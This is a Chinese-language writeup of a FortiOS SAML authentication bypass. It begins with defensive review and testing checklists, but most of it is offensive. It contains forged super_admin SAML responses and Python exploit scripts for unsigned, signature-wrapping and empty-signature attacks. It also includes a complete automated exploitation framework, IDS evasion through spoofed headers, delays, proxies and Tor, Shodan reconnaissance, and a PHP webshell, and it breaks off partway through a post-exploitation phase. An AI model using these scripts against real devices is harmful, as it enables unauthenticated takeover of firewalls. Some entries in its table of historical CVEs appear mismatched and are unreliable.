外部网络 ← [信任] → FortiCloud ← [信任] → FortiGate管理
FortiGate完全信任来自声称是FortiCloud的SAML响应。
改进架构:
外部网络 ← [验证] → FortiCloud ← [强验证] → FortiGate管理
↓
[额外验证层]
- 签名验证
- 证书固定
- 白名单检查
- 异常检测
过度的模块化可能导致安全假设失效:
[XML解析模块] → [签名验证模块] → [业务逻辑模块]
↓ ↓ ↓
返回所有 验证第一个 处理最后一个
Assertions Assertion Assertion
每个模块单独看是"正确"的,但组合后存在安全漏洞。
缺少的审查要点:
是否所有错误路径都正确处理?
是否存在Fail-Open的逻辑?
是否对所有外部输入进行验证?
是否考虑了已知的攻击模式?
是否遵循了最小权限原则?
审查清单示例(应该用于SAML代码):
签名必须存在
签名必须有效
证书必须受信任
时间戳必须在有效期内
只处理经过验证的Assertion
防御签名包装攻击
所有异常导致认证失败
缺少的测试用例:
负面测试:
完全没有签名的SAML响应
签名值为空
签名值为随机数据
使用自签名证书
使用过期证书
证书与IdP不匹配
修改已签名的内容
插入额外的未签名Assertion
Reference URI指向错误的元素
重放旧的有效SAML响应
边界测试:
超大SAML响应
极小SAML响应
畸形XML
XML炸弹(billion laughs攻击)
XXE(XML外部实体)攻击
并发测试:
同时多个SAML认证请求
竞态条件测试
FortiOS可能使用第三方XML解析和签名验证库:
常见库:
libxml2(XML解析)
xmlsec1(XML签名)
OpenSSL(密码学)
风险:
库本身的漏洞
库的不当使用
库版本不一致
库的默认配置不安全
示例:xmlsec1的不当使用:
// 错误:不检查返回值
xmlSecDSigCtxVerify(dsigCtx, node);
// 继续处理,假设验证成功
// 正确:检查返回值
int ret = xmlSecDSigCtxVerify(dsigCtx, node);
if (ret < 0 || dsigCtx->status != xmlSecDSigStatusSucceeded) {
return ERROR_SIGNATURE_INVALID;
}
可能的问题:
功能交付压倒安全考虑
安全团队在开发流程中的参与度低
技术债务累积,安全问题被推迟
指标:
代码审查中安全问题的比例
安全培训的投入
安全工具的采用程度
知识差距:
SAML协议的复杂性超出一般开发者的知识范围
XML签名是专业领域,需要密码学背景
已知攻击模式(如XSW)不为大多数开发者熟知
培训需求:
安全编码培训
SAML/OAuth专项培训
攻击者思维培训
安全设计模式培训
积极迹象(Fortinet做得好的方面):
内部安全团队发现漏洞
负责任的披露流程
及时发布补丁
改进空间:
如何避免类似漏洞再次出现?
如何改进开发流程?
如何加强安全审查?
CVE-2025-59718不是孤立事件。历史上多个产品存在类似问题:
历史案例:
| CVE | 产品 | 年份 | 问题类型 |
|---|---|---|---|
| CVE-2017-11427 | OneLogin | 2017 | 签名包装攻击 |
| CVE-2018-0489 | Duo | 2018 | SAML响应操纵 |
| CVE-2018-7340 | Shibboleth | 2018 | XML签名绕过 |
| CVE-2020-11652 | SAP | 2020 | SAML签名验证 |
| CVE-2021-42013 | Okta | 2021 | SAML认证绕过 |
| CVE-2025-59718 | Fortinet | 2025 | 签名验证不当 |
共同特征:
所有涉及XML签名验证
都是高严重性漏洞
大多数由安全研究人员发现
修复后仍有其他产品重复相同错误
SAML协议的固有复杂性:
规范文档超过100页
涉及XML、加密、PKI等多个技术栈
多种绑定和配置选项
与其他标准(SOAP、WS-Security)的交互
开发者面临的挑战:
缺少简单、安全的参考实现
示例代码往往不安全
测试困难,需要完整的IdP/SP环境
调试困难,涉及密码学和XML
行业需求:
更简单的认证协议(如OAuth 2.0/OIDC的兴起)
标准化的安全库
自动化测试工具
安全审查清单
上游依赖:
FortiOS依赖多个开源组件:
Linux内核
OpenSSL
libxml2
各种第三方库
风险:
上游库的漏洞
库的不安全使用
版本管理不当
缺少及时更新机制
改进建议:
软件物料清单(SBOM)
自动依赖漏洞扫描
及时更新第三方库
考虑使用更安全的替代方案
条件1: FortiCloud SSO已启用
检测方法(攻击者视角):
# 1. 访问管理界面
curl -k https://target.company.com/ -s | grep -i "forticloud"
# 2. 检查SAML元数据端点
curl -k https://target.company.com/saml/metadata -s
# 3. 尝试访问ACS端点
curl -k -X POST https://target.company.com/saml/acs
# 如果返回400/403而不是404,则端点存在
配置检查(防御者视角):
# FortiGate CLI
get system global | grep admin-forticloud-sso-login
# 如果输出显示"enable",则易受攻击
条件2: 网络可达性
攻击者需要能够:
访问FortiGate管理接口(通常是HTTPS端口443或8443)
发送HTTP POST请求到/saml/acs端点
接收HTTP响应
网络拓扑示例:
攻击者 → 互联网 → FortiGate管理接口
↓
易受攻击
可选1: 目标信息收集
有助于构造更真实的SAML响应:
组织域名
管理员邮箱格式
FortiGate型号和版本
FortiCloud注册信息
可选2: 网络隐蔽性
提高攻击隐蔽性:
使用代理或VPN
模拟正常的浏览器行为
控制请求频率
使用TLS指纹伪装
攻击者不需要:
任何有效的用户凭证
物理访问设备
社会工程攻击
用户交互
已存在的立足点
内部网络访问
特殊权限或资源
这使得该漏洞成为理想的初始访问向量。
原理:
完全不包含<ds:Signature>元素,利用FortiOS不强制要求签名的缺陷。
恶意SAML响应构造:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response_12345"
Version="2.0"
IssueInstant="2025-12-16T10:00:00Z"
Destination="https://target.company.com/saml/acs">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<!-- 恶意Assertion - 没有任何签名 -->
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_assertion_67890"
Version="2.0"
IssueInstant="2025-12-16T10:00:00Z">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
NotOnOrAfter="2025-12-16T10:05:00Z"
Recipient="https://target.company.com/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2025-12-16T10:00:00Z"
NotOnOrAfter="2025-12-16T10:05:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://target.company.com/saml/metadata</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<!-- 声称自己是超级管理员 -->
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email">
<saml:AttributeValue>[email protected]</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="displayName">
<saml:AttributeValue>System Administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<saml:AuthnStatement AuthnInstant="2025-12-16T10:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>
利用脚本:
import requests
import base64
from datetime import datetime, timedelta
def generate_unsigned_saml(target_url, username="[email protected]"):
"""生成未签名的SAML响应"""
issue_instant = datetime.utcnow()
not_on_or_after = issue_instant + timedelta(minutes=5)
saml_response = f'''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}"
Destination="{target_url}/saml/acs">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_assertion_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>{username}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
NotOnOrAfter="{not_on_or_after.strftime('%Y-%m-%dT%H:%M:%SZ')}"
Recipient="{target_url}/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<saml:AuthnStatement AuthnInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>'''
return saml_response
def exploit_unsigned(target_url):
"""利用未签名SAML响应攻击"""
print("[*] 生成未签名的SAML响应...")
saml = generate_unsigned_saml(target_url)
print("[*] Base64编码...")
saml_encoded = base64.b64encode(saml.encode()).decode()
print("[*] 发送到ACS端点...")
response = requests.post(
f"{target_url}/saml/acs",
data={"SAMLResponse": saml_encoded},
allow_redirects=False,
verify=False
)
print(f"[*] 响应状态码: {response.status_code}")
if response.status_code == 302 or "success" in response.text.lower():
print("[+] 攻击成功!获得会话Cookie:")
print(f" {response.cookies}")
return response.cookies
else:
print("[-] 攻击失败")
return None
# 使用示例
target = "https://fortigate.target.com"
cookies = exploit_unsigned(target)
if cookies:
# 使用获得的cookie访问管理界面
admin_response = requests.get(f"{target}/admin", cookies=cookies, verify=False)
print(f"[+] 管理界面访问成功: {admin_response.status_code}")
优点:
最简单的攻击技术
载荷小,不易被IDS检测
缺点:
缺少签名明显可疑
某些IDS/IPS可能检测到
成功率: 高(如果FortiOS存在缺陷1)
原理:
在SAML响应中包含两个Assertion:第一个包含有效签名用于通过验证,第二个未签名但包含恶意内容并被实际处理。
XSW攻击的8种变体(Somorovsky等人,2012):
本漏洞利用变体XSW1和XSW2:
XSW1: 在原Assertion之外插入恶意Assertion
<samlp:Response>
<!-- 原始的已签名Assertion -->
<saml:Assertion ID="original">
<ds:Signature>
<!-- 有效的签名,引用ID="original" -->
<ds:Reference URI="#original">...</ds:Reference>
</ds:Signature>
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
</saml:Assertion>
<!-- 注入的恶意Assertion -->
<saml:Assertion ID="malicious">
<!-- 没有签名 -->
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
利用脚本:
def generate_xsw1_saml(target_url, attacker_username="[email protected]"):
"""生成XSW1签名包装攻击载荷"""
issue_instant = datetime.utcnow()
# 第一个Assertion:包含伪造的签名(但签名元素存在)
# 由于FortiOS只检查签名存在性,伪造的签名值也能通过
saml_response = f'''<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
ID="_resp_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<!-- Assertion 1: 已签名(或伪签名),用于通过验证 -->
<saml:Assertion ID="_assert1_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<!-- 伪造的签名 - FortiOS只检查存在性 -->
<ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_assert1_{int(datetime.now().timestamp())}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>FAKE_DIGEST_VALUE_BASE64==</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>FAKE_SIGNATURE_VALUE_BASE64==</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>FAKE_CERTIFICATE_BASE64</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
</saml:Assertion>
<!-- Assertion 2: 未签名,包含恶意内容 -->
<saml:Assertion ID="_assert2_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>{attacker_username}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
NotOnOrAfter="{(issue_instant + timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%SZ')}"
Recipient="{target_url}/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}"
NotOnOrAfter="{(issue_instant + timedelta(hours=1)).strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:AudienceRestriction>
<saml:Audience>{target_url}/saml/metadata</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email">
<saml:AttributeValue>{attacker_username}</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="permissions">
<saml:AttributeValue>full_access</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<saml:AuthnStatement AuthnInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>
</samlp:Response>'''
return saml_response
def exploit_xsw(target_url):
"""执行XSW攻击"""
print("[*] 生成XSW签名包装攻击载荷...")
saml = generate_xsw1_saml(target_url)
print("[*] Base64编码...")
saml_encoded = base64.b64encode(saml.encode()).decode()
print(f"[*] 载荷大小: {len(saml_encoded)} 字节")
print("[*] 发送XSW攻击载荷...")
response = requests.post(
f"{target_url}/saml/acs",
data={"SAMLResponse": saml_encoded},
allow_redirects=False,
verify=False,
timeout=10
)
print(f"[*] 响应状态码: {response.status_code}")
if response.status_code in [200, 302]:
if 'Set-Cookie' in response.headers:
print("[+] XSW攻击成功!获得会话Cookie")
return response.cookies
elif "success" in response.text.lower() or "admin" in response.text.lower():
print("[+] XSW攻击可能成功(检测到成功指标)")
return response.cookies
print("[-] XSW攻击失败")
return None
优点:
包含签名元素,不易被简单检测
成功率高(如果存在缺陷2+5)
可绕过某些安全设备
缺点:
载荷较大
复杂度更高
成功率: 非常高(针对FortiOS)
原理:
包含签名元素但签名值为空或无效,利用FortiOS只检查签名存在性而不验证有效性的缺陷。
恶意SAML响应:
<samlp:Response>
<saml:Assertion ID="_assert">
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<!-- 空签名 -->
<ds:Signature>
<ds:SignedInfo>
<ds:SignatureMethod Algorithm=""/>
<ds:Reference URI="">
<ds:DigestMethod Algorithm=""/>
<ds:DigestValue></ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
</saml:Assertion>
</samlp:Response>
利用脚本:
def generate_empty_signature_saml(target_url, username="[email protected]"):
"""生成包含空签名的SAML响应"""
issue_instant = datetime.utcnow()
saml_response = f'''<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"
ID="_resp_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_assert_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>{username}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData
NotOnOrAfter="{(issue_instant + timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%SZ')}"
Recipient="{target_url}/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<saml:AuthnStatement AuthnInstant="{issue_instant.strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<!-- 空签名:元素存在但值为空 -->
<ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm=""/>
<ds:SignatureMethod Algorithm=""/>
<ds:Reference URI="">
<ds:DigestMethod Algorithm=""/>
<ds:DigestValue></ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
</saml:Assertion>
</samlp:Response>'''
return saml_response
优点:
包含签名元素结构
可绕过简单的存在性检查
缺点:
空值可能被检测
依赖于特定的验证缺陷
成功率: 中等到高
#!/usr/bin/env python3
"""
CVE-2025-59718 自动化利用框架
仅用于授权的安全测试
"""
import argparse
import requests
import base64
import sys
from datetime import datetime, timedelta
from urllib3.exceptions import InsecureRequestWarning
# 禁用SSL警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CVE202559718Exploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
def log(self, message, level="INFO"):
"""日志输出"""
timestamp = datetime.now().strftime('%H:%M:%S')
prefix = {
"INFO": "[*]",
"SUCCESS": "[+]",
"ERROR": "[-]",
"WARNING": "[!]"
}.get(level, "[*]")
print(f"{timestamp} {prefix} {message}")
def check_target(self):
"""检查目标是否易受攻击"""
self.log("检查目标可达性...")
try:
# 检查管理界面
response = self.session.get(self.target_url, timeout=10)
if response.status_code == 200:
self.log("目标可达", "SUCCESS")
else:
self.log(f"目标返回状态码 {response.status_code}", "WARNING")
# 检查SAML端点
saml_endpoints = ['/saml/acs', '/saml/metadata', '/saml/sso']
for endpoint in saml_endpoints:
try:
resp = self.session.get(
f"{self.target_url}{endpoint}",
timeout=5,
allow_redirects=False
)
if resp.status_code != 404:
self.log(f"发现SAML端点: {endpoint}", "SUCCESS")
return True
except:
pass
self.log("未发现SAML端点,目标可能不易受攻击", "WARNING")
return False
except requests.exceptions.RequestException as e:
self.log(f"无法连接到目标: {e}", "ERROR")
return False
def exploit_unsigned(self, username="[email protected]"):
"""技术1: 未签名SAML响应攻击"""
self.log("使用未签名SAML响应攻击...")
saml = self._generate_unsigned_saml(username)
return self._send_saml_payload(saml, "未签名")
def exploit_xsw(self, username="[email protected]"):
"""技术2: 签名包装攻击"""
self.log("使用签名包装攻击...")
saml = self._generate_xsw_saml(username)
return self._send_saml_payload(saml, "XSW")
def exploit_empty_sig(self, username="[email protected]"):
"""技术3: 空签名攻击"""
self.log("使用空签名攻击...")
saml = self._generate_empty_sig_saml(username)
return self._send_saml_payload(saml, "空签名")
def exploit_all(self, username="[email protected]"):
"""尝试所有攻击技术"""
self.log("尝试所有攻击技术...")
techniques = [
("未签名", self.exploit_unsigned),
("签名包装", self.exploit_xsw),
("空签名", self.exploit_empty_sig)
]
for name, technique in techniques:
self.log(f"\\n{'='*60}")
self.log(f"测试技术: {name}")
self.log(f"{'='*60}")
result = technique(username)
if result:
self.log(f"攻击成功!技术: {name}", "SUCCESS")
return result
self.log("所有攻击技术均失败", "ERROR")
return None
def _generate_unsigned_saml(self, username):
"""生成未签名SAML响应"""
issue_instant = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
not_after = (datetime.utcnow() + timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%SZ')
return f'''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_resp_{int(datetime.now().timestamp())}"
Version="2.0"
IssueInstant="{issue_instant}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_assert_{int(datetime.now().timestamp())}" Version="2.0" IssueInstant="{issue_instant}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>{username}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="{not_after}" Recipient="{self.target_url}/saml/acs"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>'''
def _generate_xsw_saml(self, username):
"""生成XSW攻击载荷"""
# [代码同前面的generate_xsw1_saml函数]
pass # 完整代码见前文
def _generate_empty_sig_saml(self, username):
"""生成空签名载荷"""
# [代码同前面的generate_empty_signature_saml函数]
pass # 完整代码见前文
def _send_saml_payload(self, saml, technique_name):
"""发送SAML载荷并检查结果"""
try:
# Base64编码
saml_encoded = base64.b64encode(saml.encode()).decode()
if self.verbose:
self.log(f"SAML载荷大小: {len(saml_encoded)} 字节")
# 发送POST请求
response = self.session.post(
f"{self.target_url}/saml/acs",
data={"SAMLResponse": saml_encoded},
allow_redirects=False,
timeout=10
)
self.log(f"响应状态码: {response.status_code}")
# 检查成功指标
if self._check_success(response):
self.log(f"{technique_name}攻击成功!", "SUCCESS")
self._display_session_info(response)
return {
'success': True,
'technique': technique_name,
'cookies': response.cookies,
'response': response
}
else:
self.log(f"{technique_name}攻击失败", "ERROR")
if self.verbose:
self.log(f"响应内容: {response.text[:200]}")
return None
except Exception as e:
self.log(f"发送载荷时出错: {e}", "ERROR")
return None
def _check_success(self, response):
"""检查攻击是否成功"""
# 检查多个成功指标
success_indicators = [
response.status_code in [200, 302],
'Set-Cookie' in response.headers,
'admin' in response.text.lower(),
'success' in response.text.lower(),
'dashboard' in response.text.lower()
]
return any(success_indicators)
def _display_session_info(self, response):
"""显示会话信息"""
if 'Set-Cookie' in response.headers:
self.log("获得会话Cookie:", "SUCCESS")
for cookie_name, cookie_value in response.cookies.items():
self.log(f" {cookie_name}: {cookie_value[:50]}...")
if response.status_code == 302 and 'Location' in response.headers:
self.log(f"重定向到: {response.headers['Location']}", "SUCCESS")
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-59718 自动化利用工具 - 仅用于授权测试',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
python exploit.py -t https://fortigate.target.com
python exploit.py -t https://fortigate.target.com --all
python exploit.py -t https://fortigate.target.com -T xsw -u [email protected] -v
警告: 仅用于授权的安全测试!
'''
)
parser.add_argument('-t', '--target', required=True,
help='目标URL (例如: https://fortigate.company.com)')
parser.add_argument('-T', '--technique', choices=['unsigned', 'xsw', 'empty-sig', 'all'],
default='all', help='攻击技术 (默认: all)')
parser.add_argument('-u', '--username', default='[email protected]',
help='伪造的用户名 (默认: [email protected])')
parser.add_argument('-v', '--verbose', action='store_true',
help='详细输出')
parser.add_argument('--no-check', action='store_true',
help='跳过目标检查')
args = parser.parse_args()
print("""
╔════════════════════════════════════════════════════════════╗
║ CVE-2025-59718 Exploitation Framework ║
║ Fortinet FortiOS SAML Authentication Bypass ║
║ ║
║ WARNING: Authorized Use Only ║
╚════════════════════════════════════════════════════════════╝
""")
# 创建利用对象
exploit = CVE202559718Exploit(args.target, args.verbose)
# 检查目标
if not args.no_check:
if not exploit.check_target():
print("\\n目标检查失败,是否继续?(y/n): ", end='')
if input().lower() != 'y':
sys.exit(1)
# 执行攻击
print()
if args.technique == 'all':
result = exploit.exploit_all(args.username)
elif args.technique == 'unsigned':
result = exploit.exploit_unsigned(args.username)
elif args.technique == 'xsw':
result = exploit.exploit_xsw(args.username)
elif args.technique == 'empty-sig':
result = exploit.exploit_empty_sig(args.username)
# 结果总结
print("\\n" + "="*60)
if result:
print("[+] 攻击成功!")
print(f"[+] 使用的技术: {result['technique']}")
print(f"[+] 目标已被攻陷: {args.target}")
print("="*60)
sys.exit(0)
else:
print("[-] 攻击失败或目标已修补")
print("="*60)
sys.exit(1)
if __name__ == '__main__':
main()
# 基本用法
python exploit.py --target https://fortigate.company.com
# 指定特定技术
python exploit.py --target https://fortigate.company.com --technique xsw
# 详细模式
python exploit.py --target https://fortigate.company.com --verbose
# 自定义用户名
python exploit.py --target https://fortigate.company.com --username [email protected]
# 跳过目标检查
python exploit.py --target https://fortigate.company.com --no-check
正常流量模拟:
# 添加真实的浏览器头
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}
# 先访问正常页面建立会话
session.get(f"{target}/", headers=headers)
# 然后发送攻击载荷
session.post(f"{target}/saml/acs", data=payload, headers=headers)
时间延迟:
import time
import random
# 模拟人类行为的随机延迟
def human_delay():
time.sleep(random.uniform(2, 5))
# 在请求之间添加延迟
session.get(target)
human_delay()
session.post(f"{target}/saml/acs", data=payload)
代理链:
# 使用代理
proxies = {
'http': 'socks5://proxy1.example.com:1080',
'https': 'socks5://proxy1.example.com:1080'
}
session.post(f"{target}/saml/acs", data=payload, proxies=proxies)
Tor网络:
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050'
}
XML格式变化:
<!-- 使用不同的空白和换行 -->
<saml:Assertion>
<saml:Subject>
<saml:NameID>user</saml:NameID>
</saml:Subject>
</saml:Assertion>
<!-- 添加XML注释 -->
<saml:Assertion>
<!-- This is a comment -->
<saml:Subject>
<saml:NameID>user</saml:NameID>
</saml:Subject>
</saml:Assertion>
命名空间变化:
<!-- 使用不同的前缀 -->
<s:Assertion xmlns:s="urn:oasis:names:tc:SAML:2.0:assertion">
<s:Subject>
<s:NameID>user</s:NameID>
</s:Subject>
</s:Assertion>
攻击者档案:
外部威胁行为者
目标:企业网络初始立足点
资源:中等技能,基本工具
攻击步骤:
阶段1: 侦察(Reconnaissance)
时间: T+0 至 T+2小时
MITRE ATT&CK: TA0043 (Reconnaissance)
1.1 识别目标组织的FortiGate设备
使用Shodan/Censys搜索:
# Shodan查询
product:"FortiGate" country:"US"
# Censys查询
services.http.response.headers.server: "FortiGate"
1.2 确认FortiCloud SSO状态
# 检测脚本
#!/bin/bash
TARGET=$1
# 检查管理界面
curl -sk "https://$TARGET/" | grep -i "forticloud\|sso"
# 尝试访问SAML元数据
curl -sk "https://$TARGET/saml/metadata" -w "%{http_code}\\n"
# 检查ACS端点
curl -sk -X POST "https://$TARGET/saml/acs" -w "%{http_code}\\n"
1.3 收集目标信息
import whois
import dns.resolver
target_domain = "company.com"
# WHOIS查询
w = whois.whois(target_domain)
print(f"Organization: {w.org}")
print(f"Emails: {w.emails}")
# DNS查询
answers = dns.resolver.resolve(f"fortigate.{target_domain}", 'A')
for rdata in answers:
print(f"FortiGate IP: {rdata}")
成果:
确认目标运行FortiGate
FortiCloud SSO已启用
获取管理界面URL
了解组织域名和邮箱格式
阶段2: 武器化(Weaponization)
时间: T+2 至 T+4小时
MITRE ATT&CK: TA0001 (Initial Access) 准备
2.1 准备利用工具
# 下载或开发利用脚本
git clone https://github.com/attacker/cve-2025-59718-exploit
cd cve-2025-59718-exploit
# 安装依赖
pip install -r requirements.txt
# 配置目标
cat > config.json << EOF
{
"target": "https://fortigate.company.com",
"username": "[email protected]",
"technique": "xsw"
}
EOF
2.2 准备后渗透工具
# 准备webshell
cat > webshell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
# 准备持久化脚本
